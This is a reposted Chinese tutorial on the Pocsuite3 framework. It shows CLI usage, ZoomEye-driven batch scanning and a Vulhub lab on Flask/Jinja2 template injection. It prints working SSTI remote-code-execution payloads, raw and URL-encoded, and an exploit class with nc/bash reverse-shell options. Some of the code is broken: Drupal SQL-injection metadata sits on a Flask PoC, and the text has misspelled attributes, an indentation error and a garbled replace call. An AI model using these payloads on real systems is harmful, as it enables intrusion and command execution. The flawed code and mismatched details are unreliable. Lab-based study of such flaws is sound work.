【技巧分享】Python攻防-PocSuite渗透测试框架

  • A+
所属分类:安全工具
【技巧分享】Python攻防-PocSuite渗透测试框架

网安教育

培养网络安全人才

技术交流、学习咨询



Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。

你可以直接使用 Pocsuite 进行漏洞的验证与利用;

你也可以基于 Pocsuite 进行 Poc/Exp 的开发,因为它也是一个 Poc 开发框架;

同时,你还可以在你的漏洞测试工具里直接集成 PocSuite,它也提供标准的调用类。






Pocsuite3 是完全由 Python3 编写,支持 Windows/Linux/Mac OSX 等系统,在原 Pocsuite 的基础上进行了整体的重写与升级,使整个框架更具有操作性和灵活性。


1、POC概念

POC(Proof of Concept),直译为“概念证明”,百度百科的权威定义如下: “概念证明是证实发布的漏洞真实性的测试代码”。它可能仅仅只是一小段代码,功能也比较简单,只要能够用来验证某一个或者一类漏洞真实存在即可。


2、POC与EXP的区别

很多人容易把这两个概念弄混淆,两者从定义上讲是有区别的:

a. POC可以看成是一段验证的代码,就像是一个证据,能够证明漏洞的真实性;

b. EXP(Exploit):中文直译为“漏洞利用”,简单点讲,就是通过EXP能够实现漏洞的利用价值。比如某个系统存在SQL注入漏洞,我们可以编写EXP来提取数据库版本信息等。

但是有时两者也不太好区分。我们也可以在POC中加入Exploit的代码,现在很多开源的POC框架其实就是这样做的,比如下面会讲到的几个框架。


3、典型的POC框架

通常我们写POC除了考虑它的通用性以外,还会考虑批量化,线程等。POC写多了需要规范管理和使用,于是框架应运而生了。我们可以写一个POC框架,帮助我们实现批量化和线程输出报告等等其他功能,这样我们就可以专心写POC的代码而不需要考虑其他问题。目前国内有很多非常优秀框架,这里就介绍其中的几款:

(1)Pocsuite

Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架,使用Python编写POC。可以提交POC换kb,kb可以用来兑换现金,挣点零花钱还是相当不错的。老司机们可能听过Sebug,那是Seebug的前身,2016年Sebug收购了另一个优秀框架Beebeeto后,更名为Seebug。

1github地址:https://github.com/knownsec/pocsuite3


(2)Tangscan

Tangscan(唐朝扫描器)是wooyun社区的官方框架,使用Python编写POC。可以提交POC换汤圆,参与现金分红。Tangscan社区已经关闭,不知道还会不会开,里面的汤圆还没取出来呢。

1github地址:https://github.com/WooYun/TangScan


(3)Bugscan

Bugscan是四叶草的官方框架,使用Python编写POC。提交POC插件获取rank 奖励,可兑换实物奖励,奖品还是蛮丰富的。

1SDK下载地址:http://img.bugscan.net/bin/sdk.zip


还有其他一些优秀的框架没有介绍到。大家可以选择其中任意一个来使用,都非常不错。当然如果有兴趣,也可以自己写个框架,过程并不复杂。


Pocsuite


Pocsuite3在编写时参考了很多市面上的开源框架以及流行成熟的框架,在代码工程结构上参考了Sqlmap,Pocsuite-console 模式则参照了metasploit,所以PoC的代码格式和以前有些差别。Pocsuite3也提供了非常简单的接口调用,可以集成到其他安全工具内部。


1、下载安装

11、使用pip直接安装:
2   pip3 install pocsuite3;
32、使用git直接克隆:
4   git clone https://github.com/knownsec/Pocsuite.git;
53、直接下载并解压:
6   wget https://github.com/knownsec/pocsuite/archive/master.zip
7   unzip master.zip


本人使用第一种方法:

【技巧分享】Python攻防-PocSuite渗透测试框架


2、使用方法

在使用Pocsuite的时候,我们可以用 --verify 参数来调用 _verify 方法进行 POC 漏洞验证测试,用 --attack 参数来调用 _attack 方法进行 EXP 漏洞利用。

1def _attack(self):
2    result = {}
3    #Write your code here
4    return self.parse_output(result)
5
6def _verify(self):
7    result = {}
8    #Write your code here
9    return self.parse_output(result)


一些具体使用场景的命令如下:

 11、verify 模式:验证目标是否存在漏洞
2pocsuite -r tests/poc_example.py -u http://www.example.com/ --verify
3
42、attack 模式:向目标发起有效的攻击
5pocsuite -r tests/poc_example.py -u http://www.example.com/ --attack
6
73、批量验证,将url写到一个txt
8pocsuite -r test/poc_example.py -f url.txt --verify
9
104、加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)
11pocsuite -r tests/ -u http://www.example.com --verify
12
135、使用多线程,默认线程数为1
14pocsuite -r test/ -f url.txt --verify --threads 10


调用ZoomEye API

Pocsuite 的强大之处还在于能够方便的调用 ZooneEye 和 Seebug 两大自家平台API。

1--dork DORK :             Zoomeye Dork ,用于在ZoomEye 搜索目标
2--max-page MAX_PAGE :     ZoomEye API 的请求翻页数(10 目标/页)
3--search-type :           ZoomEye API 搜索类型,web 或者 host
4--vul-keyword VULKEYWORD :Seebug 搜索关键词,用于在Seebug 搜索漏洞POC


eg:从ZoomEye中调用host批量验证某个POC

1pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify


POC实例


下面借助一个实际的靶场案例来说明如何使用 Pocsuite 框架进行 POC/EXP 的编写。


1、靶场环境

演示案例借助 Vulhub 的一个漏洞环境——Flask(Jinja2)服务端模板注入漏洞,Github项目地址。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,其模板引擎使用 Jinja2 。

【技巧分享】Python攻防-PocSuite渗透测试框架


此处借助本地 Ubuntu 虚拟机启用 docker 搭建靶场,编译及运行测试环境……然而编译下载镜像太慢了,忍不了,直接上VPS了。

【技巧分享】Python攻防-PocSuite渗透测试框架

启动完靶场,在浏览器进行访问:

【技巧分享】Python攻防-PocSuite渗透测试框架

来看看漏洞 Web 服务的代码,代码位于 app 目录下的 app.py 文件中,如下图所示:

【技巧分享】Python攻防-PocSuite渗透测试框架


可以看到 name 的值是直接从 get 参数获取的,所以 Template 是完全可控的。要测试漏洞是否存在,要看是否执行 Jinja2 语言。

这里测试下能否将模板语言传递到参数中,尝试提交参数:

【技巧分享】Python攻防-PocSuite渗透测试框架


进行注入测试:

【技巧分享】Python攻防-PocSuite渗透测试框架

Flask 漏洞主要利用了框架的特点,在 Flask 中,“{{}}” 中的内容会被当作代码执行,相应的防御措施就是要对“{{}}” 进行过滤,禁止此符号传入参数中。


2、POC编写

这里对于原著删除了没有使用到的代码,并且修改了一些语法错误:

 1# 调用pocsuite的一些API函数
2from pocsuite3.api import Output, register_poc, requests, POCBase
3
4# 继承POCBase类
5class DemoPOC(POCBase):
6    vulID = '1571'          # ssvid ID, 如果是提交漏洞的同时提交PoC,则写出0
7    version = "1"           # 版本
8    author = "seebug"       # 作者名称
9    vulDate = '2014-10-16'  # 漏洞公开时间
10    createDate = '2014-10-16'   #编写POC时间
11    updateDate = '2014-10-16'   # 更新POC时间
12    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']    #漏洞地址来源,0day不用写
13    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'      # POC名称
14    appPowerLink = 'https://www.drupal.org'         # 漏洞厂商的主页地址
15    appName = 'Drupal'                              # 漏洞应用名称
16    appVersion = '7.x'                              # 漏洞影响版本
17    vulType = 'SQL Injection'                       # 漏洞类型
18    desc = """
19    Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
20    """
         # 漏洞简要描述
21    samples = []        # 测试样例,使用POC测试成功的网站
22    install_requires = []
23
24    # 定义--verify参数,poc函数
25    def _verify(self):
26        '''verify mode'''
27        result = {}
28        path = "/?name="
29        url = self.url + path
30        payload = '{{22*22}}'
31
32        # first req
33        try:
34            resq = requests.get(url + payload)
35            print(resq.text)
36            # 判断对象,服务器状态码,服务器页面回显是否正确
37            if resq and resq.status_code == 200 and '484' in resq.text:
38                result['VerifyInfo'] = {}
39                result['VerifyInfo']['URL'] = url
40                result['VerifyInfo']['Name'] = payload
41        except Exception as e:
42            pass
43        # 将服务器信息传入到该函数中
44        return self.parse_output(result)
45
46    def parse_output(self, result):
47        output = Output(self)
48        if result:
49            output.success(result)
50        else:
51            output.fail('target is not vulnerable.')
52        # 返回成功或失败消息
53        return output
54
55    # 定义--attack参数,attack函数
56    def _attack(self):
57        return self._verify()
58
59# 注册poc
60register_poc(DemoPOC)


上面这串代码比较简单,首先继承POCBase类并定义一些POC信息变量:

_verify()函数:检测漏洞(POC)代码块,一般最后返回主机信息,或测试成功后的信息。

_parse_output()函数:这里的作用是检测result变量是否有内容,若有则返回成功消息与输出result内容,没有则返回失败信息。

_attack()函数:攻击实(EXP)战代码块,与POC不同的是对服务器进行目的性或破坏性的行动,这里不多做介绍,下面会用到。






执行以上 POC 代码进行漏洞检测:

【技巧分享】Python攻防-PocSuite渗透测试框架


3、EXP 编写

在编写代码之前,我们需要了解一些python内置变量调动的知识:

1__bases__:以元组返回一个类所直接继承的类。
2__mor__:  以元组返回继承关系链。
3__class__:返回对象所属的类。
4__globals__:以字典返回函数所在模块命名空间中的所有变量。
5__subclasses__():以列表的返回类的子类。
6__builtins__:内建函数


构建我们代码执行的脚本:

1for c in ().__class__.__base__[0].__subclass__():
2        if c.__name__=='_IterationGuard':
3        c.__init__.__globals__['__builtins__']['eval']    ("__import__('os').system('whoami')")


再将其语法格式转换为Jinja2:

1{% for c in [].__class__.__base__.__subclasses__() %}
2 {% if c.__name__=='_IterationGuard'%}
3  {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
4 {% endif %}
5{% endfor %}


再将其转换为URL编码:

1%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
2+%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
3++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27whoami%27).read()%22)+%7d%7d
4+%7b%25+endif+%25%7d
5%7b%25+endfor+%25%7d


我们可以先尝试下是否能够成功:

【技巧分享】Python攻防-PocSuite渗透测试框架

下面就可以开始编写我们的 EXP 代码了:

 1from pocsuite3.api import Output, register_poc, requests, POCBase, REVERSE_PAYLOAD, OptDict
2from collections import OrderedDict
3
4class DemoPOC(POCBase):
5    vulID = '1571'
6    version = "1"
7    author = "seebug"
8    vulDate = '2014-10-16'
9    createDate = '2014-10-16'
10    updateDate = '2014-10-16'
11    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']
12    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'
13    appPowerLink = 'https://www.drupal.org'
14    appName = 'Drupal'
15    appVersion = '7.x'
16    vulType = 'SQL Injection'
17    desc = """
18    Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
19    """

20    samples = []
21    install_requires = []
22
23    def _verify(self):
24        """verify mode"""
25        result = {}
26        path = "/?name="
27        url = self.url + path
28        payload = "{{22*22}}"
29        try:
30            resq = requests.get(url + payload)
31            if resq and resq.status_code == 200 and "484" in resq.text:
32                result['VerifyInfo'] = {}
33                result['VerifyInfo']['URL'] = url
34                result['VerifyInfo']['NAME'] = payload
35        except Exception as e:
36            pass
37        return self.parse_output(result)
38
39    # 定义其他选项参数
40    def _options(self):
41        # 字典排序
42        o = OrderedDict()
43        payload = {
44            "nc" : REVERSE_PAYLOAD.NC,
45            "bash" : REVERSE_PAYLOAD.BASH,
46        }
47        # 设置默认值
48        o["command"] = OptDict(selected="bash", default=payload)
49        return o
50
51
52    def _attack(self):
53        result = {}
54        path = "?name="
55       url = self.url + path
56        #print(url)
57        cmd = self.get_option("command")
58        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
59        #print(payload)
60        try:
61            resq = requests.get(url + payload)
62            t = resq.text 
63            t = t.replace('n''').replace('r''')
64            print(t)
65            t = t.replace(" ","")
66            result['VerifyInfo'] = {}
67            result['VerifyInfo']['URL'] = url
68            result['VerifyInfo']['Name'] = payload
69        except Exception as e:
70            return 
71        return self.parse_output(result)
72
73    def parse_output(self, result):
74        output = Output(self)
75        if result:
76            output.success(result)
77        else:
78            output.fail("target is not vulnerable")
79        return output
80
81register_poc(DemoPOC)


这里比较简单就不做其他的注释了。最后成功执行命令:

【技巧分享】Python攻防-PocSuite渗透测试框架

在实际渗透测试过程中接触到的类似漏洞验证脚本非常多,所以在寻找和使用时会浪费大量时间。将漏洞验证 POC 及 EXP 通过渗透测试框架整理出来再使用,便会非常方便,提升了工作效率。

【技巧分享】Python攻防-PocSuite渗透测试框架

文:bwshen

链接:https://bwshen.blog.csdn.net/article/details/110846618

如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【技巧分享】Python攻防-PocSuite渗透测试框架

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【技巧分享】Python攻防-PocSuite渗透测试框架


我就知道你“在看”
【技巧分享】Python攻防-PocSuite渗透测试框架

本文始发于微信公众号(开源聚合网络空间安全研究院):【技巧分享】Python攻防-PocSuite渗透测试框架

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: